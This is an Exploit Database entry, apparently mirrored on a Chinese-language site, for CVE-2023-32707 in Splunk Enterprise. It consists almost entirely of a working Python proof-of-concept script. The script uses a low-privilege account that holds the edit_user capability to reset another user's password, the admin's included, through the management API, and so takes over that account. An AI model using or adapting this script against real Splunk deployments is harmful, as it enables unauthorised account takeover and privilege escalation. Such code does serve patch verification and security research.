Splunk 9.0.5 – admin account take over

Exploit Database
133 阅读

作者： Redway Security

日期： 2023-10-09
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/51747/

#!/usr/bin/env python3

# Exploit Title: Splunk 9.0.5 - admin account take over

# Author: [Redway Security](https://twitter.com/redwaysec))

# Discovery: [Santiago Lopez](https://twitter.com/santi_lopezz99)

#CVE: CVE-2023-32707

# Vendor Description: A low-privilege user who holds a role that has the <code>edit_user</code> capability assigned

# to it can escalate their privileges to that of the admin user by providing specially crafted web requests.

# Versions Affected: Splunk Enterprise **below** 9.0.5, 8.2.11, and 8.1.14.

import argparse

import requests

import random

import string

import base64

# ignore warnings

import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Parse command-line arguments

parser = argparse.ArgumentParser(description='Splunk Authentication')

parser.add_argument('--host', required=True, help='Splunk host or IP address')

parser.add_argument('--username', required=True, help='Splunk username')

parser.add_argument('--password', required=True, help='Splunk password')

parser.add_argument('--target-user', required=True, help='Target user')

parser.add_argument('--force-exploit', action='store_true',

help='Force exploit')

args = parser.parse_args()

# Splunk server settings

splunk_host = args.host.split(':')[0]

splunk_username = args.username

splunk_password = args.password

target_user = args.target_user

force_exploit = args.force_exploit

splunk_port = args.host.split(':')[1] if len(args.host.split(':')) > 1 else 8089

user_endpoint = f"https://{splunk_host}:{splunk_port}/services/authentication/users"

credentials = f"{splunk_username}:{splunk_password}"

base64_credentials = base64.b64encode(credentials.encode()).decode()

headers = {

'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',

'Authorization': f'Basic {base64_credentials}'

}

proxies = {

# 'http': '[http://127.0.0.1:8080'](<a href=),">http://127.0.0.1:8080',

# 'https': 'http://127.0.0.1:8080'

}

response = requests.get(f"{user_endpoint}/{splunk_username}?output_mode=json",

headers=headers, proxies=proxies, verify=False)

if response.status_code == 200:

affected_versions = ['9.0.4', '8.2.10', '8.1.13']

user = response.json()

splunk_version = user['generator']['version']

# This is not a good way to compare versions.

# There is a range of versions that are affected by this CVE, but this is just a PoC

# 8.1.0 to 8.1.13

# 8.2.0 to 8.2.10

# 9.0.0 to 9.0.4

print(f"Detected Splunk version '{splunk_version}'")

if any(splunk_version <= value for value in affected_versions) or force_exploit:

user_capabilities = user['entry'][0]['content']['capabilities']

if 'edit_user' in user_capabilities:

print(

f"User '{splunk_username}' has the 'edit_user' capability, which would make this target exploitable.")

new_password = ''.join(random.choice(

string.ascii_letters + string.digits) for _ in range(8))

change_password_payload = {

'password': new_password,

'force-change-pass': 0,

'locked-out': 0

}

response = requests.post(f"{user_endpoint}/{target_user}?output_mode=json",

data=change_password_payload, headers=headers, proxies=proxies, verify=False)

if response.status_code == 200:

print(

f"Successfully taken over user '{target_user}', log into Splunk with the password '{new_password}'")

else:

print('Account takeover failed')

else:

print(

f"User '{splunk_username}' does not have the 'edit_user' capability, which makes this target not exploitable by this user.")

else:

print(f"Splunk version '{splunk_version}' is not affected by CVE-2023-32707")

else:

print(

f"Couldn't authenticate to Splunk server '{splunk_host}' with user '{splunk_username}' and password '{splunk_password}'")

exit(1)